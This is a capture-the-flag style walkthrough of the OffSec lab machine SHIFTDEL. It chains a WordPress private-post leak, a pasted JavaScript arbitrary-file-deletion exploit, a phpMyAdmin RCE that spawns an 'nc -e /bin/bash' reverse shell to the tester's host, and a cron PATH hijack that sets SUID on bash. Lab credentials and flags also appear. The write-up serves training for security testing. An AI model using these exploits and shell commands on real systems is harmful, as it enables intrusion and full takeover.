Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - SHIFTDEL

·3543 words·17 mins·
OFFSEC PG PRACTICE WORDPRESS PHPMYADMIN
Table of Contents

Summary
#

Get initial access using the provided credentials or exploit a Wordpress site on port 80 called Shiftdel. Using an unauthenticated exploit to view Password/Private Posts (CVE-2019-17671), we get the password of a Wordpress user called intern. This version of Wordpress 4.9.6 is vulnerable for a authenticated arbitrary file deletion, which we’ll abuse to delete .htaccess and are now able to download wp-config.php. This PHP file contains credentials for a wordpress user that can access phpMyAdmin. Once logged in the phpMyAdmin application, we abuse an RCE exploit (CVE-2018-12613) to get code execution and initial access as the www-data user. Using pspy64 we see the root user running a command, every 5 minutes, in a directory under control of the www-data user. Abusing a misconfiguration in absolute and relative paths/references we can escalate our privileges to the root user.

Specifications
#

  • Name: SHIFTDEL
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux shiftdel 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux
  • IP address: 192.168.131.174
  • OFFSEC provided credentials: tobias:WoefulBrahmaLet393
  • HASH: local.txt:ac5ef1e7dc25ec3fcee2d6a7c59562ab
  • HASH: proof.txt:d58573c82385208ed3f762ada8582928

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir shiftdel && cd shiftdel && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 31 12:48 .
drwxrwxr-x 51 kali kali 4096 Aug 31 12:48 ..
drwxrwxr-x  2 kali kali 4096 Aug 31 12:48 enum
drwxrwxr-x  2 kali kali 4096 Aug 31 12:48 exploits
drwxrwxr-x  2 kali kali 4096 Aug 31 12:48 files
drwxrwxr-x  2 kali kali 4096 Aug 31 12:48 tools
drwxrwxr-x  2 kali kali 4096 Aug 31 12:48 uploads

## set bash variable
ip=192.168.131.174

## ping target to check if it's online
ping $ip

PING 192.168.131.174 (192.168.131.174) 56(84) bytes of data.
64 bytes from 192.168.131.174: icmp_seq=1 ttl=61 time=19.5 ms
64 bytes from 192.168.131.174: icmp_seq=2 ttl=61 time=20.6 ms
^C
--- 192.168.131.174 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 19.500/20.063/20.626/0.563 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
You miss 100% of the ports you don't scan. - RustScan

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.131.174:22
Open 192.168.131.174:80
Open 192.168.131.174:8888
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 12:49 CEST
Initiating Ping Scan at 12:49
Scanning 192.168.131.174 [4 ports]
Completed Ping Scan at 12:49, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:49
Completed Parallel DNS resolution of 1 host. at 12:49, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:49
Scanning 192.168.131.174 [3 ports]
Discovered open port 22/tcp on 192.168.131.174
Discovered open port 80/tcp on 192.168.131.174
Discovered open port 8888/tcp on 192.168.131.174
Completed SYN Stealth Scan at 12:49, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.131.174
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-31 12:49:27 CEST for 0s

PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 61
80/tcp   open  http           syn-ack ttl 61
8888/tcp open  sun-answerbook syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

Copy the output of open ports into a file called ports within the files directory.

## edit the `files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh            syn-ack ttl 61
80/tcp   open  http           syn-ack ttl 61
8888/tcp open  sun-answerbook syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,8888

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,8888 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
|   256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-title: Shiftdel
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-generator: WordPress 4.9.6
|_http-server-header: Apache/2.4.38 (Debian)
8888/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: phpMyAdmin
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

Initial Access: path 1
#

22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
|   256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+

Because we got credentials (tobias:WoefulBrahmaLet393) from OFFSEC we first try to login using SSH on TCP port 22. Connect with the following command and paste the password when asked. Once logged in we find in the root folder of the tobias user the local.txt file.

## login using SSH with provided credentials: `tobias:WoefulBrahmaLet393`
ssh tobias@$ip     
The authenticity of host '192.168.131.174 (192.168.131.174)' can't be established.
ED25519 key fingerprint is SHA256:mqPCrimr9j626KOGoHM+qxgHUOYD4pu1+4KzhIvu5uA.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:45: [hashed name]
    ~/.ssh/known_hosts:68: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.131.174' (ED25519) to the list of known hosts.
tobias@192.168.131.174's password: 
Linux shiftdel 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$


## print current working directory
$ pwd
/home/tobias

## list content current directory
$ ls -la
total 24
drwxr-xr-x 2 tobias tobias 4096 Oct 25  2021 .
drwxr-xr-x 3 root   root   4096 Oct 25  2021 ..
lrwxrwxrwx 1 root   root      9 Oct 25  2021 .bash_history -> /dev/null
-rw-r--r-- 1 tobias tobias  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 tobias tobias 3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 tobias tobias   33 Aug 31 06:45 local.txt
-rw-r--r-- 1 tobias tobias  807 Apr 18  2019 .profile

## print `local.txt`
$ cat local.txt 
ac5ef1e7dc25ec3fcee2d6a7c59562ab

Initial Access: path 2
#

80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-title: Shiftdel
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-generator: WordPress 4.9.6
|_http-server-header: Apache/2.4.38 (Debian)

8888/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-favicon: Unknown favicon MD5: 531B63A51234BB06C9D77F219EB25553
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: phpMyAdmin

On port 80 there is a website called Shiftdel and it looks a lot like a Wordpress website. When we press CTRL+U in the browser (or right-click and select View page source), we can inspect the source code. Indeed, there are a lot of wp- directory references.

So, let’s run a wpscan scan to get more details on the Wordpress installation.

## run wpscan
wpscan --url http://$ip  -e u,vp --plugins-detection aggressive 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.131.174/ [192.168.131.174]
[+] Started: Sun Aug 31 12:58:48 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.38 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://192.168.131.174/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.131.174/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.131.174/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.6 identified (Insecure, released on 2018-05-17).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.131.174/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.6'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.131.174/, Match: 'WordPress 4.9.6'

[+] WordPress theme in use: twentyfifteen
 | Location: http://192.168.131.174/wp-content/themes/twentyfifteen/
 | Last Updated: 2025-04-15T00:00:00.000Z
 | Readme: http://192.168.131.174/wp-content/themes/twentyfifteen/readme.txt
 | [!] The version is out of date, the latest version is 4.0
 | Style URL: http://192.168.131.174/wp-content/themes/twentyfifteen/style.css?ver=4.9.6
 | Style Name: Twenty Fifteen
 | Style URI: https://wordpress.org/themes/twentyfifteen/
 | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.0 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.131.174/wp-content/themes/twentyfifteen/style.css?ver=4.9.6, Match: 'Version: 2.0'

[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:00:35 <===============================================> (7343 / 7343) 100.00% Time: 00:00:35
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] intern
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sun Aug 31 12:59:28 2025
[+] Requests Done: 7368
[+] Cached Requests: 35
[+] Data Sent: 1.979 MB
[+] Data Received: 1.014 MB
[+] Memory used: 245.32 MB
[+] Elapsed time: 00:00:39

We find that it’s Wordpress 4.9.6 and identified users are: admin and intern. Using searchsploit, we can find exploit for WordPress Core < 5.2.3, Viewing Unauthenticated/Password/Private Posts (CVE-2019-17671), https://www.exploit-db.com/exploits/47690. The exploit talks about when adding ?static=1 and ordering the Wordpress URL should leak its secret content.

## using searchsploit to find an exploit
searchsploit wordpress
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
<SNIP>
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts                        | multiple/webapps/47690.md
<SNIP>

When we alter the given example translated to our context and browse to this URL: http://192.168.131.174/?static=1&order=asc we indeed get a private post with a password: IntraPersonalVision349.

Perhaps we can use this password IntraPersonalVision349 for the user admin or intern. Let’s go to the default login page of Wordpress: http://192.168.131.174/wp-admin. We can indeed login using these credentials: intern:IntraPersonalVision349.

Using searchsploit there is an arbitrary file deletion exploit available for Wordpress version 4.9.6 or lower.

## using searchsploit to find an exploit for `Wordpress 4.9.6`
searchsploit Wordpress 4.9.6             
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi                                        | php/webapps/51042.txt
Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2)                                  | php/webapps/50456.js
WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion                               | php/webapps/44949.txt
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts                        | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service                                        | php/dos/47800.py
WordPress File Upload Plugin < 4.23.3 - Stored XSS                                             | php/webapps/51899.txt
WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit)                    | php/remote/47187.rb
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities                            | php/webapps/39553.txt
WordPress Plugin EZ SQL Reports < 4.11.37 - Multiple Vulnerabilities                           | php/webapps/38176.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection                                      | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection                                    | php/webapps/48918.sh
WordPress Plugin User Role Editor < 4.25 - Privilege Escalation                                | php/webapps/44595.rb
WordPress Plugin Userpro < 4.9.17.1 - Authentication Bypass                                    | php/webapps/43117.txt
WordPress Plugin UserPro < 4.9.21 - User Registration Privilege Escalation                     | php/webapps/46083.txt
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Reading up on this exploit https://www.exploit-db.com/exploits/50456, we need to have privileges of an author. We do, because we can add new media. First we need to download an image.

## change directory
cd files

## download a image
wget https://www.exploit-db.com/images/edb-logo.png

Then navigate to Media / Add New / Select Files, select the downloaded edb-logo.png file and click Open.

Now, switch viewmode to list by click on this icon below.

Hover over the image and select Edit.

Now go to the developer console (press F12 in the browser or select), and paste the javascript text below. Just copy / paste and press enter.

function unlink_thumb(thumb) {

  $nonce_id = document.getElementById("_wpnonce").value
  if (thumb == null) {
    console.log("specify a file to delete")
    return false
  }
  if ($nonce_id == null) {
    console.log("the nonce id is not found")
    return false
  }

  fetch(window.location.href.replace("&action=edit",""),
    {
      method: 'POST',
      credentials: 'include',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: "action=editattachment&_wpnonce=" + $nonce_id + "&thumb=" + thumb
    })
    .then(function(resp0) {
      if (resp0.redirected) {
        $del = document.getElementsByClassName("submitdelete deletion").item(0).href
        if ($del == null) {
          console.log("Unknown error: could not find the url action")
          return false
        }
        fetch($del, 
          {
            method: 'GET',
            credentials: 'include'
          }).then(function(resp1) {
            if (resp1.redirected) {
              console.log("Arbitrary file deletion of " + thumb + " succeed!")
              return true
            } else {
              console.log("Arbitrary file deletion of " + thumb + " failed!")
              return false
            }
          })
      } else {
        console.log("Arbitrary file deletion of " + thumb + " failed!")
        return false
      }
    })
}

Now let’s delete the .htaccess file, by pasting this code: unlink_thumb("../../../../.htaccess") and press enter.

It should say: Arbitrary file deletion of ../../../../.htaccess succeed!. By deleting this file we can read configuration files from the web application. In our case we download wp-config.php to get credentials of the wordpress user: wordpress:ThinnerATheWaistline348.

## download `wp-config.php`
curl http://192.168.131.174/wp-config.php                                     
<?php
<SNIP>

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'ThinnerATheWaistline348');

/** MySQL hostname */
define('DB_HOST', 'localhost');

<SNIP>

These credentials are probably for the phpMyAdmin application running on port 8888 as shown in the NMAP output. Go to this URL http://192.168.131.174:8888/ and use the found credentials (wordpress:ThinnerATheWaistline348).

We are now logged in phpMyAdmin. Click on the question mark in the upper left corner, to see the version of the phpMyAdmin application.

Its version 4.8.1. With searchsploit we can find an RCE exploit (CVE-2018-12613) for this version of the application. Running this RCE exploit indeed gives us remote command execution, so let’s get initial access as the www-data user in the /usr/share/phpmyadmin directory.

## change directory
cd exploits

## use searchsploit to find exploit for `phpMyAdmin 4.8.1`
searchsploit phpmyadmin     
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
<SNIP>
phpMyAdmin 4.8.1 - Remote Code Execution (RCE)                                                 | php/webapps/50457.py
<SNIP>
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

## download the exploit
searchsploit -m php/webapps/50457.py     
  Exploit: phpMyAdmin 4.8.1 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50457
     Path: /usr/share/exploitdb/exploits/php/webapps/50457.py
    Codes: CVE-2018-12613
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/hk/offsec/pg/practice/shiftdel/exploits/50457.py

## run the exploit
python3 50457.py 192.168.131.174 8888 / wordpress ThinnerATheWaistline348 id
<SNIP>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::7cf9:4a9c:d305:d9cb/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup a listener
nc -lvnp 9001   
listening on [any] 9001 ...

## run the exploit
python3 50457.py 192.168.131.174 8888 / wordpress ThinnerATheWaistline348 'nc 192.168.45.204 9001 -e /bin/bash'

## catch the reverse shell
nc -lvnp 9001   
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.131.174] 46776

## print the current user
whoami
www-data

## print the current working directory
pwd
/usr/share/phpmyadmin

## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/tobias/local.txt

## print `local.txt`
cat /home/tobias/local.txt
ac5ef1e7dc25ec3fcee2d6a7c59562ab

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
www-data@shiftdel:/usr/share/phpmyadmin$ export TERM=xterm
www-data@shiftdel:/usr/share/phpmyadmin$ stty columns 200 rows 200

Uploading and running linpeas.sh doesn’t bring much. Let’s run pspy64 to see what’s running on the target. Download and upload pspy to the target and run it to see if there are processes running that we can abuse. Go to: https://github.com/DominicBreuker/pspy, click on releases and select pspy64. Move the file to the uploads directory, startup a local webserver and on the target, download pspy64 and run it.

## change directory
cd uploads

## move the file from the local downloads directory to the uploads directory
mv ~/Downloads/pspy64 . 

## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::7cf9:4a9c:d305:d9cb/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on the target
## change directory
www-data@shiftdel:/usr/share/phpmyadmin$ cd /var/tmp
www-data@shiftdel:/var/tmp$ 

## download pspy64 using wget
www-data@shiftdel:/var/tmp$ wget http://192.168.45.204/pspy64
--2025-08-31 12:58:06--  http://192.168.45.204/pspy64
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                                              0%[                                                                          pspy64                                             36%[=======================================>                                  pspy64                                             75%[==========================================================================pspy64                                            100%[=============================================================================================================>]   2.96M  5.25MB/s    in 0.6s    

2025-08-31 12:58:07 (5.25 MB/s) - 'pspy64' saved [3104768/3104768]

## set execution bit
www-data@shiftdel:/var/tmp$ chmod +x pspy64 

## run pspy64
www-data@shiftdel:/var/tmp$ ./pspy64 

The output of pspy64 shows the root user (UID=0) runs this command every 5 minutes: /bin/sh -c /usr/bin/find . -type f -not -regex '.*\.\(jpg\|jpeg\|png\|gif\)' -exec bash -c "rm -f {}" \;.

## output `pspy64`
www-data@shiftdel:/var/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP> 
2025/08/31 13:00:01 CMD: UID=0     PID=2277   | /bin/sh -c /usr/bin/find . -type f -not -regex '.*\.\(jpg\|jpeg\|png\|gif\)' -exec bash -c "rm -f {}" \;   
<SNIP> 

## search `/etc` directory for this cronjob
www-data@shiftdel:/var/tmp$ grep -Ri '/usr/bin/find' /etc 2>/dev/null
/etc/cron.d/wpclean:*/5 * * * * root /usr/bin/find . -type f -not -regex '.*\.\(jpg\|jpeg\|png\|gif\)' -exec bash -c "rm -f {}" \;

## print `/etc/cron.d/wpclean`
www-data@shiftdel:/var/tmp$ cat /etc/cron.d/wpclean
# /etc/cron.d/wpclean: crontab entries to cleanup wordpress uploads folder

HOME=/var/www/html/wordpress/wp-content/uploads
PATH=~/bin:/usr/bin:/bin

# in case the intern do something silly, delete all files with invalid image extension
*/5 * * * * root /usr/bin/find . -type f -not -regex '.*\.\(jpg\|jpeg\|png\|gif\)' -exec bash -c "rm -f {}" \;

Apparently, this job is run from /etc/cron.d/wpclean. The HOME directory where this command runs is: /var/www/html/wordpress/wp-content/uploads. Since the rm command didn’t use a absolute path, we can abuse this, because the ~/bin PATH is relative to the HOME. Because we are the www-data user we control all directories/files. Let’s create a bin directory, in which we’ll make a own rm command. This command will set the SUID bit on /bin/bash. Once set we can escalate our privileges to the root user after max 5 minutes of waiting.

## make directory `bin` in the HOME directory `/var/www/html/wordpress/wp-content/uploads/`
mkdir /var/www/html/wordpress/wp-content/uploads/bin

## make the custom `rm` command setting SUID on `/bin/bash` and set the execution bit
echo "chmod +s /bin/bash" > /var/www/html/wordpress/wp-content/uploads/bin/rm && chmod +x /var/www/html/wordpress/wp-content/uploads/bin/rm

## verify the set permissions
www-data@shiftdel:/var/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash

## escalate privilege using the `bash` binary
www-data@shiftdel:/var/tmp$ /bin/bash -p
bash-5.0#

## print `proof.txt`
bash-5.0# cat /root/proof.txt
d58573c82385208ed3f762ada8582928

References
#

[+] https://www.exploit-db.com/exploits/47690
[+] https://www.exploit-db.com/exploits/50456
[+] https://www.exploit-db.com/exploits/50457
[+] https://github.com/DominicBreuker/pspy

Related

OFFSEC - Proving Grounds - NUKEM
·2010 words·10 mins
OFFSEC PG PRACTICE WORDPRESS DOSBOX
Access target via SSH or exploit WordPress with wpscan using simple-file-list vuln. Get http user, find commander creds in wp-config.php, use SUID dosbox for root.
OFFSEC - Proving Grounds - HUGS
·2377 words·12 mins
OFFSEC PG PRACTICE HUGEGRAPH ENV_KEEP
SSH with provided creds or exploit HugeGraph 1.2.0 (CVE-2024-27348) on 8080 for initial acces. Get mesbaha credentials from rest-server.properties file and SSH laterally, exploit sudo /home/mesbaha/reporter.sh to root.
OFFSEC - Proving Grounds - COBBLES
·2914 words·14 mins
OFFSEC PG PRACTICE ZONEMINDER HAPROXY DOCKER ESCAPE
Gain initial access via credentials or ZoneMinder exploit. As www-data, exploit HAProxy failover to access backup server as root in Docker. Escalate by copying bash to shared mount for host root access.
OFFSEC - Proving Grounds - SIROL
·2888 words·14 mins
OFFSEC PG PRACTICE KIBANA GLUSTERFS DOCKER ESCAPE
Exploit Kibana 6.5.0 (CVE-2019-7609) for initial access, then mount the host filesystem to get root or exploit glusterfs (CVE-2018-1088) to escalate to root via a created cronjob.
OFFSEC - Proving Grounds - OUTDATED
·2359 words·12 mins
OFFSEC PG PRACTICE MPDF EXIFTOOL CHISEL WEBMIN
SSH or initial access by exploiting the website using mPDF 6.0 and downloading credentials, reuse creds for Webmin on port 10000 to escalate to root.
OFFSEC - Proving Grounds - RUBYDOME
·1773 words·9 mins
OSCP OFFSEC PG PRACTICE PDFKIT
